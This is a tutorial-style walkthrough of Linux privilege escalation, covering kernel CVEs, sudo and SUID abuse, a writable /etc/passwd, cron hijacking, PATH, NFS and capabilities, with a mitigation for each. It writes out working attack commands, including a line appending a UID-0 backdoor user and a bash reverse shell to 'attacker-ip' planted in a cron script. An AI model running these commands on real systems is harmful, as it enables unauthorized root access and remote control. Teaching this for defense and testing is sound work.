here's a moment on almost every box where you land a shell and realize you're nobody. www-data, a service account, some low-privileged user that can barely read its own home directory. That's not the end of the engagement. That's step one.

Root doesn't hand itself over. You have to go looking for it - through the kernel, through sudo, through binaries someone forgot to lock down, through a cron job nobody's touched since 2019. This is the walkthrough of how that search actually goes.

The Kernel Question

First thing, always: what am I actually running?

uname -r
cat /proc/version

If the answer comes back old, that's not a footnote - that's a lead. Dirty COW (CVE-2016-5195) turned a race condition in memory handling into root. PwnKit (CVE-2021-4034) did the same thing to Polkit's pkexec years later, and it worked on almost everything by default. OverlayFS (CVE-2021-3493) got there through broken permission checks. None of these are exotic. They're just old, and old means someone never patched.

The counter to this one is boring on purpose: patch management. Not glamorous, but it closes more doors than anything else on this list.

sudo -l: The Free Win

This is the first command I run on any new shell, before I even think about the kernel.

sudo -l

Sometimes it comes back empty. Sometimes it comes back with a list of commands that shouldn't be there. If sudo lets a user run something without a password, or hands over unrestricted access, you're basically done:

sudo su

The more interesting case is a single allowed binary that looks harmless. sudo vi for example. Most people don't think of a text editor as a privilege escalation vector - until they remember vi can drop into a shell:

:shell

or

:!bash

Same story for less, awk, find - anything that can spawn a subprocess inherits the privileges it was launched with. Check GTFOBins before assuming a binary is safe just because it looks read-only.

The fix here is the boring one again: least privilege, and someone actually reading /etc/sudoers once in a while instead of copy-pasting rules forever.

SUID: Old Trick, Still Works

find / -perm -4000 2>/dev/null

This dumps every binary set to run as its owner, regardless of who calls it. Most of the time that owner is root. The usual suspects - /usr/bin/env, /usr/bin/find, and occasionally /usr/bin/nmap if someone was sloppy during setup - show up here more often than they should.

If nmap has the SUID bit, this is the whole exploit:

./nmap --interactive
nmap> !sh

That's it. Interactive mode, one shell-out command, root.

Fixing this isn't complicated either - it's just tedious. Strip SUID bits from anything that doesn't strictly need them, and re-check after every package update. Updates have a bad habit of quietly resetting permissions you thought you'd locked down.

The Writable /etc/passwd (The Rare, Lucky One)

You won't see this often, but when it shows up it's almost embarrassing how easy it is.

ls -l /etc/passwd

If that comes back -rw-rw-rw-, you don't need an exploit. You need one line:

echo 'hacker:$6$salt$password:0:0:hacker:/root:/bin/bash' >> /etc/passwd
su hacker

UID 0 in that line means root, full stop. Locking /etc/passwd down to -rw-r--r-- is a two-second fix, and it should never have been anything else.

Cron Jobs: Root's Blind Spot

cat /etc/crontab
ls -la /etc/cron.*

The question that matters here isn't "what's scheduled" - it's "what's scheduled, running as root, that points at a file I can write to." If that script lives in a world-writable directory, you don't need to touch the crontab at all. You just replace the script:

echo "bash -i >& /dev/tcp/attacker-ip/4444 0>&1" > /tmp/malicious.sh
chmod +x /tmp/malicious.sh

Wait for the next scheduled run. Root shell shows up on your listener.

This is the kind of misconfiguration that survives for years because nobody looks at cron after it's set up. Restrict permissions on anything root-owned, and never let a scheduled job execute out of a directory regular users can write to.

PATH and NFS: The Ones People Forget

If a script or binary calls a command without an absolute path, it's trusting whatever comes first in $PATH. Plant something earlier in that order with the right name, and you've hijacked the call. It's an old technique, and it still works precisely because absolute paths take three extra seconds to type and people skip them.

NFS has its own version of the same problem:

showmount -e

A share exported without root squashing lets a locally-created SUID binary retain its privileges once it's mounted and executed elsewhere. Root squashing should be the default, not an afterthought.

Capabilities: SUID's Quieter Cousin

getcap -r / 2>/dev/null

Less commonly checked than SUID, which is exactly why it's worth checking. cap_setuid, cap_net_raw - capabilities like these hand a binary a specific slice of root's power without the binary technically running as root at all. That distinction doesn't matter much once you're using it to escalate.

Let the Tools Do the Enumeration

At some point manual checking gives way to automation. LinPEAS walks through most of the above in one pass. Linux Exploit Suggester cross-references your kernel version against known CVEs. GTFOBins is the reference you keep open in a second tab, because sooner or later you'll find a binary you don't recognize and need to know what it can do.

What This Actually Comes Down To

None of this is exotic. Kernel exploits, sudo misconfigurations, forgotten SUID bits, cron jobs nobody revisited - the paths to root are almost always boring, not brilliant. That's good news for defenders: patch consistently, audit permissions on a schedule instead of never, and actually enforce least privilege instead of just writing it in a policy doc somewhere.

For attackers, it means the same thing it always has. Enumerate first. Enumerate everything. Root is rarely hidden - it's usually just sitting behind a check nobody ran.